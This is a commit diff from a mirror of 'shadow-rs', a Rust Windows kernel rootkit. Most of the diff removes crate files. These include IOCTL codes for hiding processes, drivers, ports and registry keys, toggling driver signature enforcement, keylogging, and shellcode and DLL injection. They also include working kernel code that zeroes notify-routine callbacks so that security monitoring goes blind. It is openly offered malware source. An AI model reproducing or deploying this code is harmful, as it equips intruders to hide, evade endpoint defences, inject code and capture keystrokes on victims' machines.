mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-18 15:54:33 +01:00
Small other changes
This commit is contained in:
22
.gitignore
vendored
22
.gitignore
vendored
@@ -1,10 +1,12 @@
|
||||
target
|
||||
backup
|
||||
client/target
|
||||
driver/target
|
||||
client/Cargo.lock
|
||||
driver/Cargo.lock
|
||||
crates/common/target
|
||||
crates/shadowx/target
|
||||
crates/common/Cargo.lock
|
||||
crates/shadowx/Cargo.lock
|
||||
.DS_Store
|
||||
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
557
Cargo.lock
generated
557
Cargo.lock
generated
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,3 @@
|
||||
[workspace]
|
||||
members = ["client", "crates/common", "crates/shadowx"]
|
||||
members = ["client", "common", "shadowx"]
|
||||
exclude = ["driver"]
|
||||
@@ -1,4 +0,0 @@
|
||||
# Crates
|
||||
|
||||
- `shadowx`: Contains the main logic of the rootkit code.
|
||||
- `common`: Includes only the structures used in the driver to communicate with the client.
|
||||
@@ -1,8 +0,0 @@
|
||||
[package]
|
||||
name = "common"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
ntapi = { version = "0.4.1", default-features = false }
|
||||
windows-sys = { version = "0.52.0", features = ["Win32_System_Kernel"] }
|
||||
@@ -1,65 +0,0 @@
|
||||
/// Represents different types of callbacks available in the system.
|
||||
///
|
||||
/// These callbacks are used to monitor or intercept specific events in the system,
|
||||
/// such as process creation, thread creation, image loading, and more.
|
||||
#[derive(Debug, Copy, Clone, PartialEq, Default)]
|
||||
pub enum Callbacks {
|
||||
/// The default callback type for process creation events.
|
||||
#[default]
|
||||
PsSetCreateProcessNotifyRoutine,
|
||||
|
||||
/// Callback for thread creation events.
|
||||
PsSetCreateThreadNotifyRoutine,
|
||||
|
||||
/// Callback for image loading events.
|
||||
PsSetLoadImageNotifyRoutine,
|
||||
|
||||
/// Callback for registry operations (using `CmRegisterCallbackEx`).
|
||||
CmRegisterCallbackEx,
|
||||
|
||||
/// Callback related to process object operations (using `ObRegisterCallbacks`).
|
||||
ObProcess,
|
||||
|
||||
/// Callback related to thread object operations (using `ObRegisterCallbacks`).
|
||||
ObThread,
|
||||
}
|
||||
|
||||
/// Defines different operational modes or options for controlling behavior.
|
||||
///
|
||||
/// These options represent different modes or actions that can be applied to a process
|
||||
/// or thread, such as hiding it or enabling protection mechanisms.
|
||||
#[derive(Debug, Default)]
|
||||
pub enum Options {
|
||||
/// Option to hide the process or thread.
|
||||
#[default]
|
||||
Hide,
|
||||
|
||||
/// Option to apply protection to the process or thread.
|
||||
Protection,
|
||||
}
|
||||
|
||||
/// Represents the type of protocol used in network communication (TCP/UDP).
|
||||
///
|
||||
/// This enum is used to distinguish between the two most common transport layer protocols:
|
||||
/// Transmission Control Protocol (TCP) and User Datagram Protocol (UDP).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Protocol {
|
||||
/// Transmission Control Protocol (TCP), which is connection-oriented and reliable.
|
||||
TCP,
|
||||
|
||||
/// User Datagram Protocol (UDP), which is connectionless and less reliable.
|
||||
UDP,
|
||||
}
|
||||
|
||||
/// Represents whether the port is local or remote in the context of network communication.
|
||||
///
|
||||
/// This enum is used to categorize a port based on its locality, either representing a
|
||||
/// local port or a remote port, often used for networking applications.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum PortType {
|
||||
/// Represents a local port on the current machine.
|
||||
LOCAL,
|
||||
|
||||
/// Represents a remote port on a different machine.
|
||||
REMOTE,
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
const FILE_DEVICE_UNKNOWN: u32 = 34;
|
||||
const METHOD_NEITHER: u32 = 3;
|
||||
const METHOD_BUFFERED: u32 = 0;
|
||||
const FILE_ANY_ACCESS: u32 = 0;
|
||||
|
||||
macro_rules! CTL_CODE {
|
||||
($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => {
|
||||
($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method
|
||||
};
|
||||
}
|
||||
|
||||
// Process
|
||||
pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Thread
|
||||
pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Driver
|
||||
pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// DSE
|
||||
pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Keylogger
|
||||
pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS);
|
||||
|
||||
// ETWTI
|
||||
pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// PORT
|
||||
pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Callbacks
|
||||
pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Registry
|
||||
pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Module
|
||||
pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Injection
|
||||
pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
@@ -1,7 +0,0 @@
|
||||
#![no_std]
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
pub mod ioctls;
|
||||
pub mod enums;
|
||||
pub mod structs;
|
||||
@@ -1,287 +0,0 @@
|
||||
#![allow(non_camel_case_types)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use core::sync::atomic::AtomicPtr;
|
||||
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||
use crate::enums::{
|
||||
Callbacks, Options,
|
||||
PortType, Protocol
|
||||
};
|
||||
|
||||
/// Custom implementation of the `LIST_ENTRY` structure.
|
||||
///
|
||||
/// This struct represents a doubly linked list entry, commonly used in low-level
|
||||
/// systems programming, especially in Windows kernel structures. It contains
|
||||
/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct LIST_ENTRY {
|
||||
/// A pointer to the next entry in the list.
|
||||
pub Flink: *mut LIST_ENTRY,
|
||||
|
||||
/// A pointer to the previous entry in the list.
|
||||
pub Blink: *mut LIST_ENTRY,
|
||||
}
|
||||
|
||||
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
|
||||
///
|
||||
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
|
||||
/// information. The `enable` field controls the activation of this feature.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct ETWTI {
|
||||
/// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`).
|
||||
pub enable: bool,
|
||||
}
|
||||
|
||||
/// Input structure for enumeration of information.
|
||||
///
|
||||
/// This struct is used as input for listing various entities, based on the
|
||||
/// options provided. The `options` field defines the parameters for the enumeration.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct EnumerateInfoInput {
|
||||
/// The options to control how the enumeration should behave, typically set by the user.
|
||||
pub options: Options,
|
||||
}
|
||||
|
||||
/// Represents the target process and path for a DLL or code injection.
|
||||
///
|
||||
/// This struct contains the necessary information to perform a code or DLL injection
|
||||
/// into a target process. It includes the process identifier (PID) and the path
|
||||
/// to the file or resource being injected.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct TargetInjection {
|
||||
/// The process identifier (PID) of the target process where the injection will occur.
|
||||
pub pid: usize,
|
||||
|
||||
/// The path to the file or resource (typically a DLL) to be injected into the process.
|
||||
/// This is a dynamic string (heap-allocated) that stores the full path.
|
||||
pub path: alloc::string::String,
|
||||
}
|
||||
|
||||
/// Represents information about a network or communication port.
|
||||
///
|
||||
/// This struct holds information about a specific port, including the protocol used,
|
||||
/// the type of port, its number, and whether the port is enabled or disabled.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub struct TargetPort {
|
||||
/// The protocol used by the port (e.g., TCP, UDP).
|
||||
/// This field is represented by the `Protocol` enum.
|
||||
pub protocol: Protocol,
|
||||
|
||||
/// The type of port (e.g., local, remote).
|
||||
/// This field is represented by the `PortType` enum.
|
||||
pub port_type: PortType,
|
||||
|
||||
/// The port number, represented as a 16-bit unsigned integer.
|
||||
/// Commonly used to identify network services (e.g., port 80 for HTTP).
|
||||
pub port_number: u16,
|
||||
|
||||
/// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`).
|
||||
pub enable: bool,
|
||||
}
|
||||
|
||||
/// Represents the target registry key and value for operations.
|
||||
///
|
||||
/// This struct holds information about a specific registry key and its associated value
|
||||
/// for operations such as modifying or querying the registry. It includes the registry key,
|
||||
/// the value associated with that key, and a flag indicating whether the operation should be
|
||||
/// enabled or not.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct TargetRegistry {
|
||||
/// The registry key, represented as a dynamically allocated string.
|
||||
/// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`).
|
||||
pub key: alloc::string::String,
|
||||
|
||||
/// The value associated with the registry key, represented as a dynamically allocated string.
|
||||
/// This could be a string value stored under the specified registry key.
|
||||
pub value: alloc::string::String,
|
||||
|
||||
/// A boolean value indicating whether the operation on the registry key should be enabled (`true`)
|
||||
/// or disabled (`false`).
|
||||
pub enable: bool,
|
||||
}
|
||||
|
||||
/// Represents the target thread for operations like manipulation or monitoring.
|
||||
///
|
||||
/// This struct contains the thread identifier (TID) and a boolean flag indicating whether
|
||||
/// the thread is enabled or disabled (hidden or active).
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct TargetThread {
|
||||
/// The thread identifier (TID) of the target thread.
|
||||
pub tid: usize,
|
||||
|
||||
/// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`).
|
||||
pub enable: bool,
|
||||
|
||||
/// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's
|
||||
/// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access.
|
||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||
|
||||
/// The options to control how the enumeration should behave, typically set by the user.
|
||||
pub options: Options,
|
||||
}
|
||||
|
||||
/// Stores information about a target process for operations such as termination or manipulation.
|
||||
///
|
||||
/// This struct contains the process identifier (PID) of the target process. It is commonly used
|
||||
/// when the PID is the only information required for an operation on a process.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct TargetProcess {
|
||||
/// The process identifier (PID) of the target process.
|
||||
pub pid: usize,
|
||||
|
||||
/// A boolean value indicating whether the process is hidden (`true`) or visible (`false`).
|
||||
pub enable: bool,
|
||||
|
||||
/// The signer of the process, typically indicating the authority or certificate that signed it.
|
||||
pub sg: usize,
|
||||
|
||||
/// The type of protection applied to the process, represented as an integer.
|
||||
pub tp: usize,
|
||||
|
||||
/// A pointer to the `LIST_ENTRY` structure, which is used to represent the process
|
||||
/// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access.
|
||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||
|
||||
/// The options to control how the enumeration should behave, typically set by the user.
|
||||
pub options: Options,
|
||||
}
|
||||
|
||||
/// Represents information about a module in the system.
|
||||
///
|
||||
/// This struct is used for enumerating modules loaded in the system. It includes
|
||||
/// the module's memory address, its name, and an index that can be used for
|
||||
/// identification or sorting purposes.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct ModuleInfo {
|
||||
/// The memory address where the module is loaded.
|
||||
pub address: usize,
|
||||
|
||||
/// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256.
|
||||
/// This allows compatibility with systems like Windows that use UTF-16 encoding.
|
||||
pub name: [u16; 256],
|
||||
|
||||
/// The index of the module in the enumeration, useful for tracking or identifying the module.
|
||||
pub index: u8,
|
||||
}
|
||||
|
||||
/// Represents the target module within a specific process for operations like enumeration or manipulation.
|
||||
///
|
||||
/// This struct contains information about the target process and the specific module within that process.
|
||||
/// It includes the process identifier (PID) and the name of the module being targeted.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct TargetModule {
|
||||
/// The process identifier (PID) of the process in which the target module is loaded.
|
||||
pub pid: usize,
|
||||
|
||||
/// The name of the target module, stored as a dynamically allocated string.
|
||||
pub module_name: alloc::string::String,
|
||||
}
|
||||
|
||||
/// Callback Information for Enumeration (Output)
|
||||
///
|
||||
/// This struct represents the information about a callback that is used in an enumeration process.
|
||||
/// It includes details like the callback's memory address, name, and operations associated with it.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Copy, Clone)]
|
||||
pub struct CallbackInfoOutput {
|
||||
/// The memory address where the callback is located.
|
||||
pub address: usize,
|
||||
|
||||
/// The name of the callback, represented as a UTF-16 array of fixed length (256).
|
||||
/// This is useful for systems (like Windows) that use UTF-16 strings.
|
||||
pub name: [u16; 256],
|
||||
|
||||
/// The index of the callback in the enumeration.
|
||||
pub index: u8,
|
||||
|
||||
/// The memory address of the pre-operation function associated with this callback.
|
||||
pub pre_operation: usize,
|
||||
|
||||
/// The memory address of the post-operation function associated with this callback.
|
||||
pub post_operation: usize,
|
||||
}
|
||||
|
||||
impl Default for CallbackInfoOutput {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
address: 0,
|
||||
name: [0u16; 256],
|
||||
index: 0,
|
||||
post_operation: 0,
|
||||
pre_operation: 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Callback Information for Action (Input)
|
||||
///
|
||||
/// This struct is used to represent input data when performing an action on a callback.
|
||||
/// It includes the callback's index and the specific callback action to be taken.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Copy, Clone)]
|
||||
pub struct CallbackInfoInput {
|
||||
/// The index of the callback that will be targeted by the action.
|
||||
pub index: usize,
|
||||
|
||||
/// The specific callback action, represented by the `Callbacks` enum.
|
||||
pub callback: Callbacks,
|
||||
}
|
||||
|
||||
/// Enumerates driver information for system drivers.
|
||||
///
|
||||
/// This struct holds basic information about a driver, including its address, name, and an index
|
||||
/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility
|
||||
/// with systems that use this encoding (like Windows).
|
||||
#[repr(C)]
|
||||
pub struct DriverInfo {
|
||||
/// The memory address where the driver is loaded.
|
||||
pub address: usize,
|
||||
|
||||
/// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256.
|
||||
pub name: [u16; 256],
|
||||
|
||||
/// The index of the driver in the enumeration.
|
||||
pub index: u8,
|
||||
}
|
||||
|
||||
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE).
|
||||
///
|
||||
/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether
|
||||
/// DSE is currently enabled or disabled.
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct DSE {
|
||||
/// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled.
|
||||
pub enable: bool,
|
||||
}
|
||||
|
||||
/// Represents the target driver for operations like hiding or revealing it.
|
||||
///
|
||||
/// This struct holds information about a driver, specifically its name and a flag indicating whether
|
||||
/// it should be enabled (visible) or hidden.
|
||||
#[repr(C)]
|
||||
#[derive(Debug, Default)]
|
||||
pub struct TargetDriver {
|
||||
/// The name of the target driver as a dynamic string (heap-allocated).
|
||||
pub name: alloc::string::String,
|
||||
|
||||
/// A boolean flag that indicates whether the driver is enabled (visible) or hidden.
|
||||
/// `true` means the driver is enabled, `false` means it is hidden.
|
||||
pub enable: bool,
|
||||
|
||||
/// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system.
|
||||
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||
|
||||
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system.
|
||||
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
[package]
|
||||
name = "shadowx"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
wdk = "0.2.0"
|
||||
wdk-sys = "0.2.0"
|
||||
wdk-panic = "0.2.0"
|
||||
wdk-alloc = "0.2.0"
|
||||
winapi = "0.3.9"
|
||||
ntapi = { version = "0.4.1", default-features = false }
|
||||
|
||||
spin = "0.9.8"
|
||||
log = "0.4.22"
|
||||
obfstr = "0.4.4"
|
||||
bitfield = "0.17.0"
|
||||
thiserror-no-std = "2.0.2"
|
||||
common = { path = "../common" }
|
||||
microseh = { version = "1.1.2", default-features = false }
|
||||
|
||||
[profile.dev]
|
||||
panic = "abort"
|
||||
|
||||
[profile.release]
|
||||
panic = "abort"
|
||||
|
||||
[package.metadata.wdk.driver-model]
|
||||
driver-type = "KMDF"
|
||||
kmdf-version-major = 1
|
||||
target-kmdf-version-minor = 33
|
||||
@@ -1,11 +0,0 @@
|
||||
/// Callbacks related to notifications operations
|
||||
pub mod notify_routine;
|
||||
pub use notify_routine::*;
|
||||
|
||||
/// Callbacks related to object operations
|
||||
pub mod object;
|
||||
pub use object::*;
|
||||
|
||||
/// Callbacks related to registry operations
|
||||
pub mod registry;
|
||||
pub use registry::*;
|
||||
@@ -1,248 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{Lazy, Mutex},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
wdk_sys::{NTSTATUS, STATUS_SUCCESS},
|
||||
};
|
||||
|
||||
use {
|
||||
common::{
|
||||
enums::Callbacks,
|
||||
structs::CallbackInfoOutput
|
||||
},
|
||||
crate::{
|
||||
error::ShadowError,
|
||||
utils::list_modules,
|
||||
data::CallbackRestaure,
|
||||
callback::find_callback::{
|
||||
find_callback_address, CallbackResult
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
/// Structure that manages callbacks in the system.
|
||||
///
|
||||
/// The `Callback` structure provides functionality to remove, restore, and enumerate
|
||||
/// system callbacks like `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`,
|
||||
/// and `PsSetLoadImageNotifyRoutine`.
|
||||
pub struct Callback;
|
||||
|
||||
const MAX_CALLBACK: usize = 100;
|
||||
|
||||
/// Stores information about removed callbacks.
|
||||
///
|
||||
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
|
||||
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
|
||||
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
|
||||
);
|
||||
|
||||
impl Callback {
|
||||
/// Restores a previously removed callback by its index.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
|
||||
/// * `index` - The index of the callback to restore.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
|
||||
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
|
||||
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Lock the removed callbacks to ensure thread-safe access
|
||||
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||
|
||||
// Find the removed callback by its index
|
||||
let index = callbacks
|
||||
.iter()
|
||||
.position(|c| c.callback == callback && c.index == index)
|
||||
.ok_or(ShadowError::IndexNotFound(index))?;
|
||||
|
||||
// Retrieve the callback address based on the callback type
|
||||
let address = match find_callback_address(&callback)? {
|
||||
CallbackResult::Notify(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
// Restore the callback by writing back its address
|
||||
let addr = address.offset((callbacks[index].index * 8) as isize);
|
||||
*(addr as *mut u64) = callbacks[index].address;
|
||||
|
||||
// Remove the restored callback from the saved list
|
||||
callbacks.remove(index);
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
/// Removes a callback from a notification routine.
|
||||
///
|
||||
/// This function removes a callback by setting its address in the callback table to `0`
|
||||
/// and stores the removed callback's information in `INFO_CALLBACK_RESTAURE_NOTIFY` for
|
||||
/// future restoration.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to remove.
|
||||
/// * `index` - The index of the callback to remove.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
|
||||
/// * `Err(ShadowError)` - if the callback address cannot be found.
|
||||
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
|
||||
// Retrieve the callback address based on the callback type
|
||||
let address = match find_callback_address(&callback)? {
|
||||
CallbackResult::Notify(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
// Calculate the callback address to be removed
|
||||
let addr = address.offset((index as isize) * 8);
|
||||
|
||||
// Save the removed callback information
|
||||
let callback = CallbackRestaure {
|
||||
index,
|
||||
callback,
|
||||
address: *(addr as *mut u64),
|
||||
};
|
||||
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||
callback_info.push(callback);
|
||||
|
||||
// Remove the callback by setting its address to 0
|
||||
*(addr as *mut u64) = 0;
|
||||
|
||||
Ok(STATUS_SUCCESS)
|
||||
}
|
||||
}
|
||||
|
||||
/// Methods related to callback enumeration
|
||||
impl Callback {
|
||||
/// Enumerates the modules associated with callbacks and populates callback information.
|
||||
///
|
||||
/// This function iterates through the system's callback table and identifies the modules
|
||||
/// that have registered callbacks. It stores this information in the `callback_info` structure.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `callback` - The type of callback to enumerate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
|
||||
/// * `Err(ShadowError)` - if the callback cannot be found.
|
||||
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
// Get the address of the callback from the system
|
||||
let address = match find_callback_address(&callback)? {
|
||||
CallbackResult::Notify(addr) => addr,
|
||||
_ => return Err(ShadowError::CallbackNotFound),
|
||||
};
|
||||
|
||||
// Iterate over loaded modules to find the module corresponding to each callback
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for i in 0..64 {
|
||||
let addr = address.cast::<u8>().offset(i * 8);
|
||||
let callback = *(addr as *const u64);
|
||||
|
||||
if callback == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Iterate through the loaded modules to find the one associated with the callback
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
||||
|
||||
// Check if the callback addresses fall within the module's memory range
|
||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Store the callback information
|
||||
let mut name = [0u16; 256];
|
||||
let length = core::cmp::min(buffer.len(), 255);
|
||||
name[..length].copy_from_slice(&buffer[..length]);
|
||||
|
||||
callbacks.push(CallbackInfoOutput {
|
||||
index: i as u8,
|
||||
address: raw_pointer as usize,
|
||||
name,
|
||||
..Default::default()
|
||||
});
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
// Move to the next module
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset the module list pointer for the next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
Ok(callbacks)
|
||||
}
|
||||
|
||||
/// Enumerates all removed callbacks and provides detailed information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
|
||||
/// * `Err(ShadowError)` - if the operation fails.
|
||||
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
|
||||
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
|
||||
|
||||
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
|
||||
let (mut ldr_data, module_count) = list_modules()?;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
// Iterate over the removed callbacks
|
||||
for (i, callback) in callbacks_removed.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
|
||||
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
||||
|
||||
// Check if the callback addresses fall within the module's memory range
|
||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
